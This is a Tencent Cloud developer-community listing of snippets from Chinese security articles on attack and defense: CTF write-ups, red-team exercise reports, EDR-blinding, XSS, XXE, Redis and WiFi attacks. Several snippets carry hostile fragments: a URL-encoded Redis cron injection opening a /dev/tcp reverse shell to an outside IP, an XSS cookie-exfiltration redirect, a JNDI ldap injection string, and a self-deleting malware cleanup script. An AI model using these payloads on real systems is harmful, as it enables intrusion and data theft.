- 综合排序
- 最热优先
- 最新优先
- 来自专栏OneMoreThink的专栏
攻防靶场(23)：DC-2
扫描端口和服务，发现80/http和7744/ssh 1.3 主动扫描：字典扫描 扫描目录，发现网站是wordpress 访问http://10.58.81.141/，会301跳转到http://dc-2/ ，但域名无法解析 在/etc/hosts中添加域名解析后，成功打开http://dc-2/ 1.4 搜索目标网站 浏览网站，发现靶机作者提示使用cewl进行信息收集 使用cewl收集到一批字典 3. 初始访问 3.1 有效账户：默认账户 将cewl收集的字典作为密码，结合wpscan扫描到的帐号进行爆破，获得2个WordPress的有效账户 3.2 有效账户：默认账户 密码喷洒攻击，将有效账户在SSH
26510编辑于 2024-10-28 - 来自专栏网络安全攻防
内核攻防-(2)致盲EDR
2、模式匹配由外部定义的验证函数（如 ValidateLeaPattern、ValidateCallJmpPattern 等）提供逻辑。 2、调用 ValidateLeaRipPattern 检查： 地址 0x1000 的内容 0x48 0x8D 0x05 匹配。 函数 2：ClearMiniFilterCallBack 功能概述 枚举系统中所有 MiniFilter 驱动，并对其进行回调清理。 2、调用 IsEDRHash 检查驱动程序是否属于已知的 EDR 驱动。 3、如果是 EDR 驱动，清除对应的回调地址，并打印清理信息。 2、引入不可预测性： 使用 __rdtsc()（获取 CPU 时间戳计数器）和随机化的哈希值生成不可预测的执行路径。
1.3K00编辑于 2025-02-19 - 来自专栏wuming_CTF
攻防世界web进阶区web2详解
php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){ php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $miwen=base64_decode(strrev
1.1K10发布于 2021-01-21 - 来自专栏我的安全视界观
多维视角下的实战攻防演习纪实 2
本章为该系列的第二篇，从不同视角对实战攻防演习的期望进行了描述。大到国家和公司，小至个人，都对演习满怀期待。
33030编辑于 2023-09-02 - 来自专栏红日安全
Web安全Day2 - XSS跨站实战攻防
大家好，我们是红日安全-Web安全攻防小组。 脚本语言：PHP7 安装http server与php环境（ubuntu: sudo apt-get install apache2 php5 或 sudo apt-get install apache2 new Date(); t2=d2.getTime(); location.href="http://123.207.99.17/id1? XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); _base64Str = _base64Str.substring(0 , _len-2); }else{//一个等号说明补了2个0 extra_Zero_Count
1.8K40发布于 2020-02-18 - 来自专栏RASP社区
攻防演练 | 攻防在即，RASP为上
信息安全的关键因素是人，有人的地方就有江湖，江湖中避免不了攻防博弈，而博弈是攻防双方采用越来越新的技术进行较量的过程。对于国家、企事业单位甚至个人而言，守护安全防线，确保数据不遗失是最终目的。 而且，攻防演练活动自兴起以来，越来越常态化。但是，每年的这个时刻，都是攻防双方激烈博弈、尤为紧张的时刻。 ，可谓是神经紧绷、夜晚失眠、饭菜不香，真希望攻防演练的活动抓紧结束，避免自身丢分，被吊打的很惨。 图片众所周知，在攻防中为了牢固防线安全运营团队会部署安全防护工具、制定安全解决方案对防线进行实施保护。 而且，RASP技术集合BAS技术可以在攻防演练活动中实现自动化检测，对安全威胁进行验证，确保安全链路完整。正因此，RASP技术可以更好的在攻防演练中发挥作用，确保防线安全，避免防守方丢分。
98730编辑于 2023-04-19 - 来自专栏全栈程序员必看
XXE攻防
BurpSuite的在线实验室为例：Lab: Exploiting XXE using external entities to retrieve files 1：点开网站，随便选择一个页面 2： internal.vulnerable-website.com/"> ]> 以BurpSuite的在线实验室为例：Lab: Exploiting XXE to perform SSRF attacks 1：随意打开一个页面 2： 192.168.40.152/flagmeout.php，所以需要设定一下读取文件位置 作者读对flag做了二次处理，上面的flag是一个经过base32编码的 1：base32解码 2： 参考 [红日安全]Web安全Day8 – XXE实战攻防 浅谈XXE攻击 XXE漏洞利用技巧：从XML到远程代码执行 未知攻焉知防——XXE漏洞攻防 XXE从入门到放弃 浅谈XXE漏洞攻击与防御
1.5K20编辑于 2022-08-31 - 来自专栏极安御信安全研究院
XCTF攻防世界--（新手赛区）第2题快来围观学习！
通过最后几行代码我们得知我们需要的flag就是代码中的hash变量 //此时我们逆向推到hash变量的来源 //1.hash值由fist、second和argv[3]三个变量来决定，那我们就跟踪这三个变量 //2. \n"); exit(2); } unsigned int second = atoi(argv[2]); if (second
30420编辑于 2022-05-20 - 来自专栏Khan安全团队
Redis攻防
201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev %2Ftcp%2F192.168.17.141%2F7777%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D
1.3K20发布于 2021-01-11 - 来自专栏FreeBuf
无线攻防：wifi攻防从破解到钓鱼
RTL-SDR、USRP、HackRF、及BladeRF等外设的价格下降，软件环境社区的完善，使现在对无线网络的研究已经不再像以前只能利用2.4GHz的无线网卡进行狭义的“无线”攻防。 2）WEP漏洞及破解 （1）802.2头消息和简单RC4流密码算法。导致攻击者在有客户端并有大量有效通信时，可以分析出WEP的密码 （2）重复使用。导致攻击者在有客户端少量通信或者没有通信时。 2、WPE加密方式 WPA加密方式 WPA全程为WiFi protected access，既Wif网络安全存取，有WPA和WPA2两个标准，是基于有线等效加密中几个严重的弱点而产生的。 WPA加密方式目前有四种认证方式:WPA、WPA-PSK、WPA2、WPA2-PSK。 WAP加密流程如下： ⑴ 无线AP定期发送beacon数据包，使无线终端更新自己的无线网络列表。 ENC是加密方式，可以看到都是WPA2的。有的也会有WPA和WEP，但是这两个安全性都不如WPA2。CH是工作频道。 我们要破解图中的FAST 236D，这个是我的wifi。
9.5K42发布于 2021-08-24 - 来自专栏红蓝对抗
攻防|记一次攻防案例总结
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把“亿人安全“设为星标”，否则可能就看不到了啦在某头部直辖市的攻防演练中，各家安全厂商投入了大量人力物力...而我方基本未做准备，只有小米加步枪， 且看如何不用0day如何连下数城前言几个月前打了一场某头部直辖市的攻防演练，演练当时通知的很急促，没做什么准备直接小米加步枪上阵了...在此过程中，很多个没用到0day的打点案例都很有意思，下面就简单分享一下案例一 RCE的话，历史上主要有“默认X-API-Key”和“Dashboard未授权访问”两个洞可以用过往挖某SRC的时候，就遇到过默认X-API-Key导致可直接创建执行lua代码的恶意路由的问题恰巧这次攻防演练中 难怪用不了使用该JWT，通过webpack提取到的api，访问后端API，拿下大量敏感信息，达千万量级，防止burp卡死，仅列出部分后言不断提升识别攻击面、利用攻击面的广度与深度，是一名hacker的核心素养攻防之中 ，拥有充足的经验，而又不陷入经验主义的迂腐，面对万难，而又不放弃思考，是出奇制胜的关键所在原文经过过文作者授权转载原文作者：奇安信攻防社区（J0o1ey）原文地址：https://forum.butian.net
1.2K20编辑于 2023-12-25 - 来自专栏红蓝对抗
『攻防』记一次EDU攻防演练
文章首发于：奇安信攻防社区 https://forum.butian.net/share/1633 背景 记一次EDU攻防,来之前还是有点怂的，因为前段时间刚打了其它地方EDU感受了一波，小部分目标有重合好难打啊 第二天找c师傅看了一下也搞不上敲了这下咋办啊，设备有telnet、ping功能，看了下设备上路由表确定了有2、3、5、6网段，telnet测试了一波网段一头一尾的IP，根据端口开放情况确定了2网段都是些服务器 那现在我们只有笨方法了，试试运气去探测内网的脆弱端口如22、1433、3389、6379、7001，说干就干，之前在信息收集的时候确定了靶标IP段在2段，那么我们直接按照靶标的IP前后去探测上面的脆弱端口 网络设备分数上限2k，之前无线ap已经把分数打满了，交了也是白交，继续看靶标系统和虚拟化平台，没有一个能可以打的，刚才的设备万能密码也没用。 总结 这次攻防整体的反思，外网打点信息收集尽量宽泛仔细一些，在现场打压力还是大的打不出来东西就是在坐牢，和队伍里师傅第一次协作不是很好没有沟通好打哪个目标好点，师傅第一次打也很懵逼，我打的多之前都是旁边辅助混子哈哈哈
1.4K40编辑于 2022-08-05 - 来自专栏红蓝对抗
攻防|记一次市级攻防演练
时间 时间在22年护网结束之后，8月中旬左右，当时公司接了一个市级的攻防演练，作为实习生的我，有幸和师傅一起参加，也是我第一次以红队身份参加，当然，更多的还是蹭师傅的光 拿了第一有个感谢信（O(∩_∩ 端口开放： 成果五：某公司MongoDB未授权漏洞（空口令） 这个比较容易，fofa搜了下发现27017端口，遂尝试 成果六：某公司OA注入+任意文件上传 首先是某OA的注入获取shell 攻防开始前已经被上传马了 结尾 我也是第一次参加，虽然每边分到90多个url，但是一半多都是门户网站，一开始说内网可以打，过了一天又不让打了，当时因为cs的版本上线还有点问题纠结好久，然后星期五开始写报告就结束了这次攻防演练
1K61编辑于 2023-02-28 - 来自专栏历史专栏
【愚公系列】2023年05月 攻防世界-MOBILE（app2）
可以通过编写JavaScript、Python代码来和frida_server端进行交互 frida的安装可以参考：https://www.jianshu.com/p/60cfd3f6afde 一、app2 } String obj = this.c.getText().toString(); String obj2 = this.d.getText().toString(); Log.e("test", obj + " test2 = " + obj2); jstring (__cdecl *v9)(JNIEnv *, const jchar *, jsize); // r6 char *v10; // r5 size_t v11; // r2 秘钥即为thisisatestkey== 得到密钥后寻找加密字符串在FileDataActivity中发现9YuQ2dk8CSaCe7DTAmaqAA== 2.4 AES解密 在线解密网址：http:
50630编辑于 2023-05-24 - 来自专栏历史专栏
【愚公系列】2023年04月 攻防世界-MOBILE（APK逆向-2）
2.安卓hook Objection是一款移动设备运行时漏洞利用工具，该工具由Frida驱动，可以帮助研究人员访问移动端应用程序，并在无需越狱或root操作的情况下对移动端应用程序的安全进行评估检查。 frida的安装可以参考：https://www.jianshu.com/p/60cfd3f6afde 3.AndroidManifest文件格式 1、AndroidManifest文件格式解析 2、 头部信息 3、String Chunk 1、ChunkType：StringChunk的类型，固定四个字节：0x001C0001 2、ChunkSize：StringChunk的大小， 1.题目 2.答题 1、jadx-gui 使用jadx-gui打开apk文件，发现【AndroidManifest.xml】文件反编译报错了 把下载的 APK 文件后缀的【.apk】改成【.zip 得到flag：8d6efd232c63b7d2
78020编辑于 2023-04-28 - 来自专栏历史专栏
【愚公系列】2023年05月 攻防世界-Web（web2）
一、web2 1.题目 2.答题 加密算法的步骤： 先时将flag字符串逆序 然后每一个ascii码数值+1 然后base64加密 然后逆序 然后再rot13加密 得到加密的密文：a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws php $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; $miwen=base64_decode(strrev
67430编辑于 2023-05-26 - 来自专栏漫流砂
记一次攻防演练tips | 攻防tips
现在我依稀记得大家在9月25日晚集体过年的场景，没想到的是：那tm只是开始 这一段时间一直在打攻防，重复、单调、无长进，希望早日脱离苦海吧 下面以攻防过程中的一段经历来展现一些有意思的tips ---- 等协议的发现 给定的全部端口 Nmap 辅助 -sV -O --script=banner,vuln,exploit,brute 0x03 摸点 网络设备、安全设备的默认口令 Weblogic、Struts2 删除自解压程序 del /f /a /q %b% rem 删除马 del /f /a /q %0% rem 删除bat自身 0x05 内网渗透 我对于攻防比赛中的内网渗透是及其反感的
1.3K61发布于 2020-12-17 - 来自专栏红蓝对抗
攻防|记一次攻防演练实战总结
文章首发于：奇安信攻防社区 https://forum.butian.net/share/1780 对前阵子的攻防演练比赛进行总结，分享一些个人的思路和方法 0x01 外网打点 资产发现 多测绘平台搜索 #google语法 site:*.edu.cn intext: vpn | 用户名 | 密码 | 帐号 | 默认密码 #github *.edu.cn password 在这次攻防演练里 123 test root 对于一些应用广泛的系统，可以通过google语法搜索其默认密码 这里通过sysadmin/1 成功登入泛微后台 nacos/nacos 常见漏洞利用 对于多目标的攻防演练 "ldap://VPS地址:1389/Basic/Command/Base64/d2hvYW1p" d2hvYW1p为命令的base64，这里是执行命令whoami 0x02 内网渗透 杀软识别 域内主机 DNS 一般就是域控地址 接着可以通过该机器是否开放53和389端口进行进一步确认 这次攻防演练的其中一个目标，通过密码复用爆破成功的某台机器里，刚好存在着域管进程，提权到system权限后注入到域管进程
2.1K30编辑于 2022-12-22 - 来自专栏Bypass
《云原生安全攻防》-- 云原生攻防矩阵
云原生攻防矩阵: 云原生环境攻击路径的全景视图，清晰每一步采取的攻击技术。 目前，多个云厂商和安全厂商都已经梳理了多个针对容器安全的威胁矩阵，我们可以参考这些成熟的模型，结合个人对云原生安全的理解，构建自己的攻防矩阵。 然后通过不断的学习和实践，我们可以持续优化和补充这个攻防矩阵，从而有效提升对云原生环境的保护能力。 针对云原生环境的攻击技术，与传统的基于Windows和Linux的通用攻击技术有很大的不同，在这里，我们梳理了一个针对容器和K8s常见攻击技术的云原生攻防矩阵。 视频版：《云原生安全攻防》--云原生攻防矩阵
68111编辑于 2024-04-16 - 来自专栏谢公子学安全
reGeorg实战攻防
实战攻防 在实战中使用可能会碰到一些特殊问题。 比如在浏览器中访问可以出现熟悉的"Georg says，'All seems fine'"，说明可以正常访问。 这样我们才可以做到在这不断提升的攻防中稳步前行。
48530编辑于 2022-01-20
腾讯云开发者
Copyright © 2013 - 2026 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号：粤B2-20090059 
粤公网安备44030502008569号
腾讯云计算（北京）有限责任公司 京ICP证150476号 | 京ICP备11018762号